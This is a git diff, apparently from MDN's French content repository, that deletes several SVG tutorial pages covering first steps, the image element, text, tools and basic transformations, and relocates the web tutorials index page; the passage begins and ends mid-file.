La transformation des coordonnées réelles de l'écran en coordonnées personnalisées à l'aide d'un viewport permet de créer un système de coordonnées utilisateur. Celui-ci pourra pivoter, être zoomé, rendu oblique ou encore permettra de retourner une image. Par défaut, le système de coordonnées de l'utilisateur fait correspondre un pixel utilisateur à un pixel écran.

- -

Cependant, le périphérique peut décider lui-même ce qui correspond à un pixel.

- -

Les tailles dans le fichier SVG ayant des unités spécifiques, tels que les "in" et les "cm", sont ensuite calculées de manière à les faire apparaître avec une échelle de 1:1 dans l'image résultante.

- -

Pour illustrer cette explication, rien de tel qu'une petite citation tirée des spécifications SVG 1.1 :

- -
-

[…] imaginons que le user agent peut déterminer à partir de son environnement que "1px" correspond à "0.2822222mm" (c'est-à-dire 90dpi). Ainsi, pour le traitement de chaque élément SVG : […] "1cm" équivaut à "35.43307px" (et donc à 35.43307 unités utilisateur)

-
- -

{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/SVG/Tutorial/Positions"} ) }}

diff --git a/files/fr/web/svg/tutoriel/premiers_pas/index.html b/files/fr/web/svg/tutoriel/premiers_pas/index.html deleted file mode 100644 index 83dee73b6c..0000000000 --- a/files/fr/web/svg/tutoriel/premiers_pas/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Premiers pas -slug: Web/SVG/Tutoriel/Premiers_pas -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Getting_Started ---- -

{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}

- -

Commençons par un exemple simple

- -

Jetez un coup d'oeil au morceau de code suivant :

- -
<svg version="1.1"
-     baseProfile="full"
-     xmlns="http://www.w3.org/2000/svg">
-
-  <rect width="100%" height="100%" fill="red"/>
-
-  <circle cx="150" cy="100" r="80" fill="green"/>
-
-  <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">SVG</text>
-
-</svg>
-
- -

Copiez le code précédent dans un document texte, puis enregistrez le sous le nom de demo1.svg. Ouvrez le fichier dans Firefox. Vous obtiendrez alors l'image suivante (pour les utilisateurs de Firefox : cliquez ici)

- -

svgdemo1.png

- -

Quelques explications s'imposent quant au fonctionnement du rendu :

- -
    -
  1. Nous commençons avec l'élément svg à la racine : - -
      -
    • la déclaration du doctype que l'on voit en (X)HTML peut être enlevée car la DTD du SVG provoque plus de problèmes qu'elle n'en résout.
      • -
    • pour identifier la version du SVG pour d'autre types de validation, les attributs version et baseProfile doivent toujours être utilisés.
      • -
    • en tant que langage basé sur XML, l'espace de nommage du document SVG doit toujours utiliser des limites définies, d'où l'attribut xmlns. Pour plus d'informations, n'hésitez pas à consulter la page Namespaces Crash Courses.
      • -
    -
    2. -
  2. L'arrière-plan est défini par un rectangle rouge, déclaré grâce à la balise <rect/> qui recouvre l'intégralité de l'espace.
    3. -
  3. Un cercle vert d'un rayon de 80px est dessiné par dessus le centre du rectangle rouge, avec un décalage de 30+120px vers l'intérieur et de 50+50px vers le haut.
    4. -
  4. Le texte "SVG" est dessiné. L'intérieur de chaque lettre est rempli de blanc. Le texte est positionné grâce à une ancre placée là où nous souhaitons qu'elle soit. Dans le cas présent, le centre du texte doit correspondre au milieu du rectangle rouge. De petits ajustements peuvent être apportés à la taille de la police et au positionnement vertical, de manière à assurer un résultat final esthétiquement agréable.
    5. -
- -

Les propriétés basiques des fichiers SVG

- -
    -
  • La première chose à retenir est l'ordre de rendu des éléments. La règle qui prévaut pour le SVG est que les éléments déclarés les plus récemment sont ceux qui seront affichés en avant des autres. En gros, l'élément défini en bas du document sera celui qui s'affichera au dessus de tous les autres.
    • -
  • Les documents SVG peuvent être affichés directement dans un navigateur ou même être incorporés directement dans un fichier HTML, en suivant plusieurs méthodes : -
      -
    • Si le HTML est du XHTML et est distribué sous forme de application/xhtml+xml, le SVG peut directement être intégré dans la source XML.
      • -
    • SI le HTML est du HTML5 et que le navigateur est conforme HTML5, le SVG peut aussi être intégré directement dans les sources. Toutefois, il peut être nécessaire d'effectuer des modifications de syntaxe pour rendre le document compatible aux spécifications HTML5.
      • -
    • Le document SVG peut être défini avec un élément object : - 
      <object data="image.svg" type="image/svg+xml" />
      -
      • -
    • De la même manière, un iframe peut être utilisé : - 
      <iframe src="image.svg"></iframe>
      -
      • -
    • Théoriquement, une balise img peut également être utilisée. Cependant, cette méthode n'est supportée dans Firefox que depuis la version 4.0.
      • -
    • Enfin, SVG peut être créé dynamiquement avec du Javascript et injecté dans le DOM HTML. Ceci permet aux technologies de remplacement pour les navigateurs, qui ne peuvent pas traiter SVG, d'être mises en œuvre. Pour approfondir cette technique, vous pouvez lire cette page.
      • -
    -
    • -
  • La manière dont SVG gère les tailles et les unités sera traitée à la page suivante.
    • -
- -

 

- -

Les types de fichiers SVG

- -

Les documents SVG peuvent être déclarés de deux manières. Normalement, les fichiers SVG sont des fichiers textes traditionnels, contenant des balises SVG. Il est recommandé de nommer ces fichiers avec l'extension ".svg" (tout en minuscules).

- -

Les fichiers SVG peuvent atteindre une taille assez importante, suivant l'utilisation qu'on en fait. Une application géographique utilisera ainsi des fichiers SVG plus volumineux, par exemple. Pour ces cas particuliers, la spécification SVG permet l'utilisation de fichiers compressés avec gzip. Il est conseillé d'utiliser l'extension .svgz (toujours tout en minuscules) pour ce type de fichiers. Par contre, il est assez problématique d'utiliser des fichiers SVG compressés avec gzip avec certains user agents quand les fichiers sont distribués à travers un serveur Microsoft IIS. De plus, Firefox ne peut pas charger les fichiers compressés en local. Évitez donc d'utiliser les fichiers compressés, sauf si vous êtes sûr que le serveur Web que vous utilisez puisse les distribuer correctement (cf plus bas).

- -

Un mot sur les serveurs Web

- -

Maintenant que vous avez une petite idée de la manière de créer des fichiers SVG basiques, la prochaine étape est de les envoyer sur un serveur Web. À ce stade, il existe quelques précautions à suivre. Pour les fichiers SVG normaux, les serveurs devraient envoyer l'en-tête HTTP :

- -
Content-Type: image/svg+xml
-
- -

Pour les fichiers SVG compressés, les serveurs devraient envoyer l'en-tête HTTP :

- -
Content-Type: image/svg+xml
-Content-Encoding: gzip
-
- -

Vous pouvez vérifier que votre serveur envoie le bon en-tête HTTP avec vos fichiers SVG en utilisant le Moniteur Réseau ou un site comme web-sniffer.net. Donnez l'URL d'un de vos fichiers SVG et regardez les en-têtes HTTP de la réponse. Si vous remarquez que votre serveur n'envoie pas les en-têtes avec les valeurs ci-dessus, vous devriez contacter votre hébergeur. Si vous avez du mal à le convaincre de configurer correctement leurs serveurs pour le SVG, il y a peut-être moyen de le faire vous-même. Regardez la page de configuration d'un serveur sur le wiki SVG pour quelques solutions simples.

- -

La mauvaise configuration du serveur est souvent la cause de l'échec du chargement du SVG, donc assurez-vous bien d'avoir vérifié le vôtre. Si votre serveur n'est pas configuré pour envoyer les bons en-têtes avec les fichiers SVG qu'il fournit, alors Firefox affichera le contenu du fichier comme du texte ou comme du rebut encodé, ou demandera peut-être à l'utilisateur de choisir une application pour l'ouvrir.

- -

{{ PreviousNext("SVG/Tutoriel/Introduction", "SVG/Tutoriel/Positionnement") }}

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/SVG/Tutorial/Getting_Started", "ja": "ja/SVG/Tutorial/Getting_Started" } ) }}

diff --git a/files/fr/web/svg/tutoriel/svg_image_tag/index.html b/files/fr/web/svg/tutoriel/svg_image_tag/index.html deleted file mode 100644 index 8912c059d0..0000000000 --- a/files/fr/web/svg/tutoriel/svg_image_tag/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 'SVG: Elément image' -slug: Web/SVG/Tutoriel/SVG_Image_Tag -tags: - - Débutant - - SVG - - Tutoriel -translation_of: Web/SVG/Tutorial/SVG_Image_Tag ---- -

{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}

- -

L'élément SVG {{ SVGElement("image") }} permet d'afficher des images pixélisées au sein d'un objet SVG.

- -

Dans cet exemple basique, une image JPG liée par l'attribut {{ SVGAttr("xlink:href") }} sera rendue à l'intérieur d'un objet SVG.

- -
<?xml version="1.0" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-<svg width="5cm" height="4cm" version="1.1"
-     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
-	<image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/>
-</svg>
- -

Il faut prendre note de quelques point essentiels (donnés par les spécifications W3):

- -
    -
  • -

    Si les attributs x ou y ne sont pas spécifiés, ils vaudront 0.

    -
    • -
  • -

    Si les attributs height ou width ne sont pas spécifiés, ils vaudront 0.

    -
    • -
  • Si l'attribut height ou l'attribut width est initialisé à 0, cela désactivera l'affichage de l'image.
    • -
- -

{{ PreviousNext("Web/SVG/Tutoriel/polices_SVG", "Web/SVG/Tutoriel/Tools_for_SVG") }}

diff --git a/files/fr/web/svg/tutoriel/texts/index.html b/files/fr/web/svg/tutoriel/texts/index.html deleted file mode 100644 index 97871407d2..0000000000 --- a/files/fr/web/svg/tutoriel/texts/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Textes -slug: Web/SVG/Tutoriel/Texts -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Texts ---- -
-
{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}
- -
 
- -

Lorsqu'on parle de texte en SVG, on doit différencier deux choses pratiquement complètement séparées: 1. l'inclusion et l'affichage de texte dans une image, 2. les polices SVG. Un article séparé sera dédié aux polices SVG, celui-ci se concentrera uniquement sur le fait d'insérer du texte.

- -

Les bases

- -

Nous avons vu dans l'exemple de l'introduction que l'élément text peut être utilisé pour mettre du texte dans des documents SVG:

- -
<text x="10" y="10">Hello World!</text>
-
- -

Les attributs x et y déterminent où le texte apparaîtra dans la fenêtre. L'attribut {{SVGAttr("text-anchor")}} spécifie l'alignement horizontal du texte (si ce point doit être le côté gauche, droit ou le centre du texte) et l'attribut {{SVGAttr("dominant-baseline")}} l'alignement vertical (si ce point est le haut, le bas ou le centre).

- -

De même que les formes basiques, la couleur des éléments texte peut être modifié avec l'attribut fill pour le remplissage ou stroke pour le contour. Tout deux peuvent également faire référence à un dégradé ou motif, ce qui rend la coloration de texte SVG beaucoup plus puissante que CSS 2.1.

- -

Définir la police

- -

Une partie essentielle d'un texte est la police dans laquelle il est affiché. SVG offre un ensemble d'attributs pour spécifier la police, dont beaucoup sont similaires à leurs équivalents CSS. Chacune des propriétés suivantes peut être définie en tant qu'attribut ou via une déclaration CSS: {{SVGAttr("font-family")}}, {{SVGAttr("font-style")}}, {{SVGAttr("font-weight")}}, {{SVGAttr("font-variant")}}, {{SVGAttr("font-stretch")}}, {{SVGAttr("font-size")}}, {{SVGAttr("font-size-adjust")}}, {{SVGAttr("kerning")}}, {{SVGAttr("letter-spacing")}}, {{SVGAttr("word-spacing")}} et {{SVGAttr("text-decoration")}}.

- -

Autres éléments liés au texte

- -

tspan

- -

Cet élément est utilisé pour baliser des sous-parties d'un texte. Il doit s'agit d'un enfant d'un élément text ou d'un autre élément tspan. Un cas typique consiste à écrire un mot d'une phrase en gras:

-
- -
<text>
-  This is <tspan font-weight="bold" fill="red">bold and red</tspan>
-</text>
-
- - - -

{{ EmbedLiveSample('Playable_code', '100%', 100) }}

- -

L'élément tspan peut prendre les attributs personnalisés suivants:

- -

x
- Définit une nouvelle coordonnées absolue pour le texte qu'il contient. Cela écrase la position par défaut du texte. Cet attribut peut également contenir une liste de nombres, qui sont appliqués un par un à chaque caractère du tspan.

- -

dx
- Définit un décalage horizontal relatif à la position par défaut du texte. Ici aussi, vous pouvez founir une liste de valeurs qui seront appliquées consécutivement à chaque caractère.

- -

y et dy sont utilisés de la même manière mais pour le déplacement vertical.

- -

rotate
- Applique une rotation aux caractères, avec le nombre de degrés donné. Donner une liste de nombres aura pour effet d'appliquer une rotation à chaque caractère respectif, la dernière valeur sera appliquée aux caractères restants.

- -

textLength
- Un attribut quelque peu obscur qui donne la longueur calculée de la chaîne. Il est destiné au moteur de rendu pour lui permettre d'affiner la position des glyphes, lorsque la longueur de texte mesurée ne correspond pas à celle qui est indiquée.

- -

tref

- -

L'élément tref permet de référencer un texte déjà définit, et recopie le texte à sa place. Vous devez utiliser l'attribut xlink:href pour définir l'élément à copier. Vous pouvez ensuite styliser le texte et modifier son apparence indépendamment de la source.

- -
<text id="example">This is an example text.</text>
-
-<text>
-    <tref xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#example" />
-</text>
-
- -

textPath

- -

Cet élément récupère via son attribut xlink:href un chemin arbitraire et aligne ses caractères le long de ce chemin:

- -
<path id="my_path" d="M 20,20 C 80,60 100,40 120,20" fill="transparent" />
-<text>
-  <textPath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path">
-    A curve.
-  </textPath>
-</text>
- - - -

{{ EmbedLiveSample('Playable_code_2', '100%', 100) }}

- -
{{PreviousNext("Web/SVG/Tutoriel/Motifs", "Web/SVG/Tutoriel/Transformations_de_base")}}
diff --git a/files/fr/web/svg/tutoriel/tools_for_svg/index.html b/files/fr/web/svg/tutoriel/tools_for_svg/index.html deleted file mode 100644 index f60f06c76f..0000000000 --- a/files/fr/web/svg/tutoriel/tools_for_svg/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Outils pour SVG -slug: Web/SVG/Tutoriel/Tools_for_SVG -translation_of: Web/SVG/Tutorial/Tools_for_SVG ---- -

{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}

- -

Maintenant que nous avons vu les notions de base en SVG, nous allons nous intéresser à quelques outils qui permettent d'éditer des fichiers SVG.

- -

Support des navigateurs

- -

Avec l'arrivée de IE9, on peut enfin dire que les principaux navigateurs -  Internet Explorer 9, Mozilla Firefox, Safari, Google Chrome et Opera - supportent le SVG. Sur mobile c'est aussi le cas des navigateurs basés sur Webkit (principalement iOS et Android). Et il y a en général des chances pour que les appareils plus vieux ou plus petits supportent au moins SVG Tiny.

- -

Inkscape

- -

URL: www.inkscape.org

- -

L'un des outils fondamentaux pour travailler un format graphique est un logiciel de dessin performant. Inkscape permet de faire du dessin vectoriel, il est mis à jour régulièrement, et a le mérite d'être open source.

- -

Il utilise le SVG comme format natif, et l'étend avec des éléments et attributs définis dans un espace de nommage spécifique. On peut aussi choisir un export au format SVG standard.

- -

Adobe Illustrator

- -

URL: www.adobe.com/products/illustrator/

- -

Avant de racheter Macromedia, Adobe était le plus ardent défenseur de SVG. C'est de cette époque que date le bon support du SVG dans Illustrator. Cependant, le code généré comporte souvent des bizarreries, qui obligent à le retraiter pour pouvoir l'utiliser en dehors d'Illustrator.

- -

Apache Batik

- -

URL: xmlgraphics.apache.org/batik/

- -

Batik est un ensemble d'outils open source proposés par Apache Software Foundation. La boite à outils est codée en Java et assure un support quasi intégral de SVG 1.1, ainsi que certaines des fonctionnalités qui étaient prévues à l'origine pour SVG 1.2.

- -

En plus d'un outil de visualisation (Squiggle) et d'un moteur d'aplatissement des calques pour l'export en PNG, Batik propose aussi un outil de formatage du code SVG, ainsi qu'un convertisseur de typographie TrueType vers SVG.

- -

Utilisé avec Apache FOP, il permet également de transformer du SVG en PDF.

- -

Autres moteurs de rendu

- -

Il existe plusieurs projets qui permettent d'exporter une image tramée à partie d'une source SVG. ImageMagick est l'un des outils les plus connus de traitement des images en ligne de commande.  Wikipédia utilise la librairie de code Gnome rsvg pour le rendu de ses images SVG.

- -

Raphael JS

- -

URL: raphaeljs.com

- -

Raphaël est un framework javascript, qui propose une couche d'abstraction pour les différentes implémentations des navigateurs. Les vieilles versions d'Internet Explorer sont supportées grace à la génération de code VML, un langage de balisage vectoriel, qui est l'un des ancêtres de SVG et existe depuis IE 5.5.

- -

Snap.svg

- -

URL: snapsvg.io

- -

Une nouvelle couche d'abstraction JavaScript, plus récent, du même auteur que Raphael JS. Snap.svg est conçu pour les navigateurs modernes et prend donc en charge les dernières fonctionnalités SVG telles que la masquage, le découpage, les motifs, gradients et groupes. Il ne supporte pas les anciens navigateurs, contrairement à Raphael.

- -

Google Docs

- -

URL: www.google.com/google-d-s/drawings/

- -

Les dessins réalisés dans Google Docs peuvent être exportés en SVG.

- -

Science

- -

Les fameux outils d'analyse de données xfig and gnuplot supportent l'export en SVG. Pour le rendu de graphiques sur le web JSXGraph supporte VML, SVG et canvas, proposant automatiquement l'un ou l'autre en fonction du support des navigateurs.

- -

SVG est souvent utilisé dans les applications GIS (Geographic Information System) à la fois comme format de stockage et de rendu. Cf carto.net pour davantage de détails.

- -

Autres outils

- -

Le W3C propose une liste des programmes qui supportent le SVG.

- -

{{ PreviousNext("Web/SVG/Tutoriel/SVG_Image_Tag") }}

diff --git a/files/fr/web/svg/tutoriel/transformations_de_base/index.html b/files/fr/web/svg/tutoriel/transformations_de_base/index.html deleted file mode 100644 index 2015cab83c..0000000000 --- a/files/fr/web/svg/tutoriel/transformations_de_base/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Transformations de base -slug: Web/SVG/Tutoriel/Transformations_de_base -tags: - - Intermediate - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Basic_Transformations ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}

- -

Maintenant, nous sommes prêts à tordre nos images dans tous les sens. Mais avant toute chose, il faut vous présenter l'élément <g>. Cet assistant va vous permettre d'assigner des attributs à un ensemble d'éléments. En fait, c'est bien son seul rôle. Par exemple :

- -
-
<svg width="30" height="10">
-    <g fill="red">
-        <rect x="0" y="0" width="10" height="10" />
-        <rect x="20" y="0" width="10" height="10" />
-    </g>
-</svg>
-
- -

{{ EmbedLiveSample('two_blocks', '30', '10') }}

- -

Toutes les transformations suivantes sont résumées dans l'attribut transform de l'élément. Les transformations peuvent être mises les unes à la suite des autres, tout simplement en les écrivant toutes dans cet attribut, séparées par des espaces.

- -

Translation

- -

Il peut être nécessaire de décaler un élément, même s'il est possible de définir sa position dans ses attributs. Pour ce faire, la fonction translate() est parfaite.

- -
<svg width="40" height="50" style="background-color:#bff;">
-    <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" />
-</svg>
- -

Cet exemple a pour résultat un rectangle, qui est déplacé du point (0,0) au point (30,40).

- -

{{ EmbedLiveSample('Translation', '40', '50') }}

- -

Si la deuxième valeur de translate() n'est pas définie, elle sera pas défaut assignée à 0.

- -

Rotation

- -

Appliquer une rotation à un élément est assez simple : il suffit d'utiliser la fonction rotate().

- -
<svg width="31" height="31">
-    <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" />
-</svg>
- -

Cet exemple montre un carré pivoté de 45°. La valeur de la rotation doit être définie en degrés.

- -

{{ EmbedLiveSample('Rotation', '31', '31') }}

- -

Transformations multiples

- -

Les transformations peuvent être concaténées, séparées par des espaces. Par exemple, translate() et rotate() sont couramment utilisées ensemble:

- -
<svg width="40" height="50" style="background-color:#bff;">
-    <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" />
-</svg>
- -

{{ EmbedLiveSample('Transformations_multiples', '40', '50') }}

- -

Cet exemple montre un carré déplacé et pivoté de 45 degrés.

- -

Déformation

- -

Pour transformer un rectangle en un losange, vous pouvez utiliser les fonctions skewX() et skewY(). Chacun prend pour attribut un angle qui détermine le biais de l'élément transformé.

- -

Agrandissement et réduction

- -

scale() modifie la taille d'un élément. Cette fonction prend en paramètre 2 valeurs de transformation, la première pour celle des X et la deuxième pour celle des Y. Ces valeurs sont écrites sous forme de ratio : 0.5 correspond à une réduction à 50%, 1.5 à une augmentation de 50%. Attention, c'est le système de chiffre anglo-saxon qui est ici utilisé, il faut donc déclarer un nombre réel en utilisant un point et non une virgule. Si la deuxième valeur n'est pas déclarée, elle est considérée par défaut comme égale à la première.

- -

Transformations complexes avec matrice

- -

Toutes les transformations détaillées ci-dessous peuvent être décrites dans une matrice de passage 3 par 3. Il est alors possible de combiner plusieurs transformations en appliquant directement la matrice de transformation matrix(a, b, c, d, e, f) qui mappe les coordonnées d'un système de coordonnées précédent en un nouveau système de coordonnées par

- -

{xnewCoordSys=axprevCoordSys+cyprevCoordSys+eynewCoordSys=bxprevCoordSys+dyprevCoordSys+f\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right.

- -

Voici un exemple concret sur la documentation de transformation SVG. Pour plus de renseignements, veuillez vous référer à la page de recommandation SVG.

- -

Effets sur les systèmes de coordonnées

- -

Quand vous utilisez une transformation, vous définissez un nouveau système de coordonnées dans l'élément que vous transformez. Cela signifie que vous appliquez la transformation à tous les attributs de l'élément transformé et donc que cet élément n'est plus dans une carte de pixel d'échelle 1:1. Cette carte est également déplacée, déformée, agrandie ou réduite selon la transformation qui lui est appliquée.

- -
<svg width="100" height="100">
-  <g transform="scale(2)">
-    <rect width="50" height="50" />
-  </g>
-</svg>
-
- -

Cet exemple aura pour résultat un rectangle de 100 par 100 pixels. Les effets les plus étonnants apparaissent lorsque vous utilisez des attributs tels que userSpaceOnUse.

- -

{{ EmbedLiveSample('Effets_sur_les_systèmes_de_coordonnées', '100', '100') }}

- -

Embarquer du SVG dans SVG

- -

Par opposition au HTML, le SVG peut embarquer d'autres éléments svg déclarés de manière tout à fait transparente. De cette façon, vous pouvez très simplement créer de nouveaux systèmes de coordonnées en utilisant viewBox, width et height de l'élément svg.

- -
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
-  <svg width="100" height="100" viewBox="0 0 50 50">
-    <rect width="50" height="50" />
-  </svg>
-</svg>
-
- -

Cet exemple a le même effet que celui vu précédemment, soit un rectangle deux fois plus grand que ce qu'il est défini.

- -

{{ EmbedLiveSample('Embarquer_du_SVG_dans_SVG', '100', '100') }}

- -

{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}

- -

Interwiki Languages Links

diff --git a/files/fr/web/tutorials/index.html b/files/fr/web/tutorials/index.html new file mode 100644 index 0000000000..b9983910db --- /dev/null +++ b/files/fr/web/tutorials/index.html @@ -0,0 +1,187 @@ +--- +title: Tutoriels +slug: Web/Tutoriels +tags: + - CSS + - Code + - Design + - Débutant + - Fondamentaux du Web + - JavaScript + - MDN + - Tutoriel +translation_of: Web/Tutorials +--- +

Les liens présents sur cette page mènent à un grand nombre de tutoriels et d'outils pédagagiques. Que vous soyez débutant ou expérimenté, vous pourrez trouver ici de précieuses ressources sur les meilleurs pratiques du développement web. Ces ressources sont écrites par des entreprises visionnaires et des développeurs qui ont adoptés des normes ouvertes et de bonnes pratiques en développement web qui fournissent ou autorisent la traduction de ces informations, au travers de licences libres tel que celle de Creative Commons.

+ + + + + + + + + + + + + + + +
+

Tutoriels HTML

+ +

Introduction

+ +
+
Introdution à HTML (WebPlatform.org)
+
Qu'est-ce que le HTML ? Origine, utilité et structure d’un document HTML. Cet article présente les principaux éléments qui composent une page HTML. Les suivants présentent les éléments individuels qui composent HTML plus en profondeur.
+
Structure de base d'une page web (SitePoint)
+
Apprendre comment les éléments HTML s'assemblent pour former une page web.
+
Balises HTML de base (SitePoint)
+
Description des différents types d'éléments utilisés pour les documents HTML.
+
Guide HTML pour débutant (HTML Dog)
+
Articles et exercices pour apprendre les bases.
+
Challenges HTML (Wikiversity)
+
Améliorer ses compétences avec des challenges HTML.
+
Référence des balises HTML sur le MDN
+
Référence complète des balises HTML et leur support par Firefox et les autres navigateurs.
+
CodeAvengers (CodeAvengers.com)
+
Une introduction au développement d'application ou de jeux web avec HTML, CSS et JavaScript.
+
+ +

Niveau intermediaire

+ +
+
Astuces pour accélerer les pages HTML
+
Optimiser les pages pour un site plus réactif et réduire la charge du serveur web.
+
Plonger dans HTML5 (Mark Pilgrim)
+
Découverte des fonctionnalités d'HTML5, la dernière version de la spécification HTML.
+
Tutoriel HTML5 (HTML5 Rocks)
+
Laissez-nous vous guider dans le labyrinthe HTML5.
+
La sémantique HTML5
+
Apprendre les balises HTML, leur usage actuels et leur équivalent passé et à venir.
+
Tutoriel sur les Canvas
+
Apprendre à dessiner des éléments en utilisant les canvas.
+
HTML5 Doctor
+
Utiliser HTML5 maintenant.
+
Intégration audio avec HTML5
+
Introduction de la balise HTML5 audio pour inclure facilement du son sur votre page web. L'article comprend plusieurs exemples d'utilisation.
+
+ 		+

Tutoriels Javascript

+ +

Introduction

+ +
+
Codecademy (Codecademy)
+
Codecademy est le moyen le plus simple pour apprendre le développement avec JavaScript. Interactif, amusant et collaboratif.
+
Démarrer avec JavaScript
+
Présentation de Javascript et de son utilisation
+
Programming - The real fundamental (WebPlatform.org)
+
Introduction à JavaScript, ses possibilités, les bonnes pratiques, pour l'apprecier, et davantage.
+
JavaScript Best Practices (WebPlatform.org)
+
Consultez les bonnes pratiques les plus courantes, mais pas seulement, pour écrire du JavaScript.
+
CodeAvengers (CodeAvengers.com)
+
Avengers Code est une introduction amusante au développement d'applications web et aux jeux avec HTML, CSS et JavaScript.
+
+ +

Niveau intermediaire

+ +
+
Ré-introduction au JavaScript
+
Résumé de JavaScript destiné aux développeurs intermédiaires.
+
Eloquent JavaScript
+
Guide JavaScript complet comprenant des pratiques de niveau intermédiaire et avancé.
+
Les Design Patterns essentiels en Javascript (Addy Osmani)
+
Les design patterns de base pour JavaScript.
+
The JavaScript programming language (YUI Blog)
+
Douglas Crockford étudie la position actuelle de JavaScript et son avenir.
+
Introduction à JavaScript orienté objet
+
Apprendre la modélisation objet dans Javascript.
+
+ +

Niveau avancé

+ +
+
Apprendre le JavaScript avancé (John Resig)
+
Guide JavaScript par John Resig.
+
Introduction au JavaScript DOM (Elated)
+
Qu'est-ce que le Document Object Model, et pourquoi il est utile? Cette article vous donnera un petit aperçu de la puissance de cette fonctionnalité de JavaScript.
+
An Inconvenient API: The Theory of the DOM (YUI Blog)
+
Douglas Crockford explique le "Document Object Model" (DOM).
+
JavaScript avancé (YUI Blog)
+
Douglas Crockford étudie les modèles que les développeurs peuvent choisir pour la création de leur application.
+
JavaScript Garden
+
Documentation des fonctionnalités étranges de Javascript.
+
Which JavaScript framework to choose? (StackOverflow)
+
Conseil pour le choix d'un framework Javascript.
+
Non-blocking JavaScript Downloads (YUI Blog)
+
Conseil pour accèlerer le chargement des pages avec JavaScript.
+
JavaScript Guide
+
Un guide régulièrement mis à jour qui explique dans le détail les opérations de JavaScript. Il est destiné à tous les niveaux, du néophyte aux utilisateurs plus avancés.
+
+
+

Tutoriels CSS

+
+

Introduction

+ +
+
Démarrer avec CSS
+
This tutorial will introduce you to Cascading Style Sheets (CSS). It will guide you through the CSS features, using concrete examples that you can try for yourself on your own computer.
+
Les bases de CSS
+
What is the CSS, learning from its use, key selectors and properties
+
CSS Basics (WebPlatform.org)
+
What is the CSS, how to apply it in HTML and looks like the basic syntax of CSS.
+
Selectors CSS classes  (Wikiversity)
+
What is a class in CSS?
+
External CSS  (Wikiversity)
+
Use CSS to an external stylesheet.
+
Add a touch of style  (W3C)
+
Realizing this beginner's guide to learn how to put CSS in your pages.
+
Frequently asked questions about CSS
+
Questions and answers for beginners.
+
CodeAvengers (CodeAvengers.com)
+
Avengers Code is an effective and fun way to learn to code web applications and games with HTML, CSS and JavaScript.
+
+ +

Niveau intermediaire

+ +
+
CSS Reference
+
Complete CSS reference with support details of Firefox and other browsers.
+
CSS Challenges (Wikiversity)
+
Practice your skills in CSS, and see where you need the most practice.
+
Intermediate concepts in CSS  (HTML.net)
+
Group, pseudo-classes, and more.
+
CSS positioning bases  (A List Apart)
+
Using positioning to meet the standards, the layout without tables.
+
Progressive Enhancement with CSS (A List Apart)
+
The gradual improvement of your web pages with CSS.
+
Fluid Grids (A List Apart)
+
Creating models that smoothly resize with of the browser window while using a typographic grid.
+
+ 		+

Niveau avancé

+ +
+
CSS3 in less than 5 minutes (Addy Osmani)
+
Une courte introduction du coeur des innovations apportées par CSS3.
+
Use of CSS transformations
+
+
+
+
+
Appliquer la rotation, le détournement, la mesure et la translation d'élement avec CSS .
+
+
+
+
+
CSS transitions
+
CSS3 inclue dans sa spécification de contrôler l'animation lors du changement d'une propriété CSS. Ceci ajuste progressivement la transition visuelle de la proprieté liée.
+
Understanding CSS3 transitions (A List Apart)
+
Débutez avec les transitions CSS et apprenez à choisir attentivement dans quelle situation les utiliser.
+
Quick guide to implement Web Fonts with @ font-face (HTML5 Rocks)
+
La fonction @font-face de CSS3 proposée parmi les modules vous permet l'utilisation de polices de caractère personnelles sur le web, de manière flexible et accessible.
+
+
diff --git a/files/fr/web/tutoriels/index.html b/files/fr/web/tutoriels/index.html deleted file mode 100644 index b9983910db..0000000000 --- a/files/fr/web/tutoriels/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: Tutoriels -slug: Web/Tutoriels -tags: - - CSS - - Code - - Design - - Débutant - - Fondamentaux du Web - - JavaScript - - MDN - - Tutoriel -translation_of: Web/Tutorials ---- -

Les liens présents sur cette page mènent à un grand nombre de tutoriels et d'outils pédagagiques. Que vous soyez débutant ou expérimenté, vous pourrez trouver ici de précieuses ressources sur les meilleurs pratiques du développement web. Ces ressources sont écrites par des entreprises visionnaires et des développeurs qui ont adoptés des normes ouvertes et de bonnes pratiques en développement web qui fournissent ou autorisent la traduction de ces informations, au travers de licences libres tel que celle de Creative Commons.

- - - - - - - - - - - - - - - -
-

Tutoriels HTML

